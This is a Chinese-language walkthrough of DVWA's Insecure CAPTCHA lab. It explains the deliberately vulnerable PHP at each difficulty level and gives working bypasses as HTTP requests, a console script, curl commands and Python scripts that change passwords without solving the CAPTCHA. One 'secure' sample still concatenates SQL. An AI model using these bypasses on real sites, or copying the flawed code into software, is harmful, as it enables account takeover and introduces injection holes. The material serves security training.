目录
漏洞简介 什么是Insecure CAPTCHA(不安全的验证码)? CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)是一种区分人类和机器的验证机制。不安全的CAPTCHA实现允许攻击者绕过验证,自动化执行敏感操作。
CAPTCHA的目的:
防止机器人自动化攻击
防止暴力破解
防止垃圾邮件
防止自动注册
危害:
绕过人机验证
自动化暴力破解
批量注册账户
垃圾信息发送
拒绝服务攻击
DVWA场景: 修改密码功能,使用reCAPTCHA验证。
Low 难度 攻击目标 CAPTCHA验证完全失效,可直接绕过。
后端代码分析 步骤1:显示验证码(index.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php if ( isset ( $_POST [ 'Change' ] ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { echo " <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new} \" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf} \" /> " ; echo " <div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div> <br /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } else { echo '<pre>Both passwords must match.</pre>' ; } } ?>
步骤2:验证并修改密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '2' ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = md5 ( $pass_new ); $pass_new = mysql_real_escape_string ( $pass_new ); $pass_new = mysql_real_escape_string ( $pass_new ); $query = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $_SESSION [ 'username' ] . "';" ; $result = mysql_query ( $query ) or die ( '<pre>' . mysql_error () . '</pre>' ); echo '<pre>Password Changed.</pre>' ; } else { echo '<pre>Passwords did not match.</pre>' ; } mysql_close (); } ?>
漏洞分析 核心问题:
step参数在客户端控制 - 通过隐藏字段传递
后端不验证reCAPTCHA - 只检查step=2
可以直接跳到step 2 - 绕过验证码
SQL注入漏洞 - 直接拼接SQL语句
攻击流程:
1 2 3 4 5 正常流程: 1. 输入新密码 → 2. 显示验证码 → 3. 验证通过 → 4. 修改密码绕过流程: 1. 直接发送step=2的请求 → 2. 修改密码成功
攻击步骤 方法1:直接跳过验证码 使用Burp Suite:
打开Burp Suite,开启拦截
在DVWA输入新密码,点击Change
Burp拦截到第一个请求(step=1)
直接发送第二个请求(step=2)
第一个请求(正常):
1 2 3 4 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1 ... password_new =new pass123 &password_conf=new pass123 &Change=Change
第二个请求(绕过验证码):
1 2 3 4 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1 ... step=2 &password_new =new pass123 &password_conf=new pass123 &Change=Change
直接发送第二个请求,密码修改成功,无需验证码!
方法2:修改隐藏字段
在浏览器按F12打开开发者工具
在Console中执行:
1 2 3 4 5 6 7 8 9 10 11 document .querySelector ('input[name="step"]' ).value = '2' ;var form = document .querySelector ('form' );var input = document .createElement ('input' );input.type = 'hidden' ; input.name = 'step' ; input.value = '2' ; form.appendChild (input); form.submit ();
方法3:使用curl命令 1 2 3 4 curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \ --cookie "security=low; PHPSESSID=你的session" \ --data "step=2&password_new=hacked&password_conf=hacked&Change=Change"
方法4:Python脚本自动化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "http://dvwa.local/dvwa/vulnerabilities/captcha/" cookies = { 'security' : 'low' , 'PHPSESSID' : '你的session值' } data = { 'step' : '2' , 'password_new' : 'hacked123' , 'password_conf' : 'hacked123' , 'Change' : 'Change' } response = requests.post(url, data=data, cookies=cookies) if 'Password Changed' in response.text: print ("[+] 密码修改成功!" ) else : print ("[-] 修改失败" )
Medium 难度 攻击目标 后端验证reCAPTCHA,但验证逻辑有缺陷。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '1' ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { echo " <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new} \" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf} \" /> <div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div> <br /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } else { echo '<pre>Both passwords must match.</pre>' ; } } if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '2' ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $recaptcha = $_POST [ 'g-recaptcha-response' ]; $response = file_get_contents ( 'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER [ 'REMOTE_ADDR' ] ); $response = json_decode ( $response ); if ( $response ->success ) { $_POST [ 'passed_captcha' ] = 'true' ; } else { $_POST [ 'passed_captcha' ] = 'false' ; } } if ( $_POST [ 'passed_captcha' ] == 'true' ) { $pass_new = md5 ( $pass_new ); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $query = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $_SESSION [ 'username' ] . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo '<pre>Password Changed.</pre>' ; } else { echo '<pre>CAPTCHA verification failed!</pre>' ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
新增防护
reCAPTCHA API验证 - 调用Google API验证
检查success字段 - 验证reCAPTCHA响应
仍存在的漏洞 核心问题:
1 2 3 4 5 6 7 $_POST ['passed_captcha' ] = 'true' ;if ($_POST ['passed_captcha' ] == 'true' ) { }
问题:$_POST是用户可控的!
攻击者可以直接在POST数据中添加passed_captcha=true
绕过方法 方法1:直接添加passed_captcha参数 使用Burp Suite:
拦截step=2的请求,添加参数:
1 2 3 4 POST /dvwa/vulnerabilities/captcha/ HTTP/1.1 ... step = 2 &password_new =hacked&password_conf =hacked&passed_captcha =true& Change = Change
方法2:使用curl 1 2 3 curl -X POST "http://dvwa.local/dvwa/vulnerabilities/captcha/" \ --cookie "security=medium; PHPSESSID=你的session" \ --data "step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change"
方法3:Python脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsurl = "http://dvwa.local/dvwa/vulnerabilities/captcha/" cookies = { 'security' : 'medium' , 'PHPSESSID' : '你的session' } data = { 'step' : '2' , 'password_new' : 'hacked123' , 'password_conf' : 'hacked123' , 'passed_captcha' : 'true' , 'Change' : 'Change' } response = requests.post(url, data=data, cookies=cookies) if 'Password Changed' in response.text: print ("[+] 绕过成功!密码已修改" ) else : print ("[-] 绕过失败" )
High 难度 攻击目标 使用SESSION存储验证状态,更安全但仍可绕过。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '1' ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { echo " <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new} \" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf} \" /> <div class=\"g-recaptcha\" data-sitekey=\"6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\"></div> <br /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } } if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '2' ) ) { $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $recaptcha = $_POST [ 'g-recaptcha-response' ]; $response = file_get_contents ( 'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER [ 'REMOTE_ADDR' ] ); $response = json_decode ( $response ); if ( $response ->success ) { $_SESSION [ 'passed_captcha' ] = true ; } else { $_SESSION [ 'passed_captcha' ] = false ; } } if ( $_SESSION [ 'passed_captcha' ] ) { $pass_new = md5 ( $pass_new ); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $query = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $_SESSION [ 'username' ] . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo '<pre>Password Changed.</pre>' ; } else { echo '<pre>CAPTCHA verification failed!</pre>' ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
新增防护
使用SESSION存储 - 服务器端存储,客户端无法修改
仍存在的漏洞 核心问题:
1 2 3 4 5 6 if ( $response ->success ) { $_SESSION ['passed_captcha' ] = true ; }
一旦通过一次验证码,SESSION中的passed_captcha永久为true,可以无限次修改密码!
绕过方法 方法:通过一次验证码,然后重复使用 步骤:
正常完成一次验证码验证
SESSION中passed_captcha被设置为true
之后可以不断发送step=2请求修改密码
无需再次验证验证码
Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsurl = "http://dvwa.local/dvwa/vulnerabilities/captcha/" session = requests.Session() login_url = "http://dvwa.local/dvwa/login.php" login_data = { 'username' : 'admin' , 'password' : 'password' , 'Login' : 'Login' } session.post(login_url, data=login_data) session.get("http://dvwa.local/dvwa/security.php?security=high" ) print ("[*] 请在浏览器中手动完成一次验证码验证" )input ("[*] 完成后按Enter继续..." )for i in range (10 ): data = { 'step' : '2' , 'password_new' : f'hacked{i} ' , 'password_conf' : f'hacked{i} ' , 'Change' : 'Change' } response = session.post(url, data=data) if 'Password Changed' in response.text: print (f"[+] 第{i+1 } 次修改成功:hacked{i} " ) else : print (f"[-] 第{i+1 } 次修改失败" )
Impossible 难度 攻击目标 完善的CAPTCHA验证,无法绕过。
后端代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php if ( isset ( $_POST [ 'Change' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $pass_curr = $_POST [ 'password_current' ]; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; $pass_curr = stripslashes ( $pass_curr ); $pass_new = stripslashes ( $pass_new ); $pass_conf = stripslashes ( $pass_conf ); $pass_curr = md5 ( $pass_curr ); $pass_curr = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_curr ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $pass_conf = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_conf ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call!" , E_USER_ERROR)) ? "" : "" )); $query = "SELECT password FROM `users` WHERE user = '" . $_SESSION [ 'username' ] . "' AND password = '$pass_curr ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); $recaptcha = $_POST [ 'g-recaptcha-response' ]; $response = file_get_contents ( 'https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&response=' . $recaptcha . '&remoteip=' . $_SERVER [ 'REMOTE_ADDR' ] ); $response = json_decode ( $response ); if ( ( $result && ( mysqli_num_rows ( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) && $response ->success ) { $pass_new = md5 ( $pass_new ); $query = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $_SESSION [ 'username' ] . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo '<pre>Password Changed.</pre>' ; } else { echo '<pre>Either your current password is incorrect or the reCAPTCHA was invalid.</pre>' ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } generateSessionToken ();?>
完善的防护机制 多层防御:
CSRF Token - 防止跨站请求伪造
验证当前密码 - 必须知道旧密码
reCAPTCHA验证 - 每次都验证
新密码确认 - 两次输入一致
不泄露错误信息 - 不透露失败原因
为什么无法绕过?
1 2 3 4 5 6 7 8 攻击者的困境: 1. 需要有效的CSRF Token ← 每次都不同2. 需要知道当前密码 ← 攻击者不知道3. 需要通过reCAPTCHA ← 每次都验证4. 所有条件必须同时满足即使绕过CAPTCHA,也无法修改密码(因为不知道当前密码)
防御建议 代码层面 1. 正确验证reCAPTCHA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if (isset ($_POST ['g-recaptcha-response' ])) { $recaptcha = $_POST ['g-recaptcha-response' ]; $response = file_get_contents ( 'https://www.google.com/recaptcha/api/siteverify?secret=' . $secret_key . '&response=' . $recaptcha . '&remoteip=' . $_SERVER ['REMOTE_ADDR' ] ); $response = json_decode ($response ); if ($response ->success !== true ) { die ('reCAPTCHA verification failed' ); } } else { die ('reCAPTCHA is required' ); }
2. 不使用客户端可控的变量存储状态 1 2 3 4 5 6 7 $_POST ['passed_captcha' ] = 'true' ;if ($_POST ['passed_captcha' ] == 'true' ) { ... }$_SESSION ['passed_captcha' ] = true ;if ($_SESSION ['passed_captcha' ] === true ) { ... }
3. 使用后立即清除验证状态 1 2 3 4 5 6 7 8 9 10 $_SESSION ['captcha_verified' ] = true ;if ($_SESSION ['captcha_verified' ]) { unset ($_SESSION ['captcha_verified' ]); }
4. 使用token机制 1 2 3 4 5 6 7 8 9 10 11 12 $token = bin2hex (random_bytes (32 ));$_SESSION ['captcha_token' ] = $token ;if (isset ($_POST ['captcha_token' ]) && isset ($_SESSION ['captcha_token' ]) && hash_equals ($_SESSION ['captcha_token' ], $_POST ['captcha_token' ])) { unset ($_SESSION ['captcha_token' ]); }
5. 添加额外的安全措施 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $current_pass = md5 ($_POST ['current_password' ]);$query = "SELECT * FROM users WHERE user='$username ' AND password='$current_pass '" ;$result = mysqli_query ($conn , $query );if (mysqli_num_rows ($result ) != 1 ) { die ('Current password incorrect' ); } if (!verify_recaptcha ($_POST ['g-recaptcha-response' ])) { die ('CAPTCHA verification failed' ); }
最佳实践
使用reCAPTCHA v3 - 更智能,用户体验更好
服务器端验证 - 绝不信任客户端
一次性使用 - 验证后立即清除状态
多因素验证 - CAPTCHA + 密码 + 邮箱验证
限制尝试次数 - 防止暴力破解
总结对比
特性
Low
Medium
High
Impossible
CAPTCHA验证
❌ 不验证
✅ 验证但有缺陷
✅ SESSION存储
✅ 完善验证
状态存储
客户端(step)
客户端($_POST)
服务端($_SESSION)
N/A
验证位置
❌ 无
后端
后端
后端
可重用性
N/A
❌ 可绕过
✅ 可重用
❌ 不可重用
当前密码验证
❌
❌
❌
✅
CSRF防护
❌
❌
❌
✅
攻击难度
极易
简单
中等
极难
实战建议 学习路径:
Low难度 - 理解step参数绕过
Medium难度 - 学习$_POST劫持
High难度 - 理解SESSION重用
Impossible难度 - 掌握完善的防御
攻击技巧:
使用Burp Suite修改请求参数
理解客户端vs服务器端验证
观察SESSION行为
自动化测试脚本
防御重点:
服务器端验证CAPTCHA
不使用客户端可控变量
验证后清除状态
添加多层安全措施
道德准则: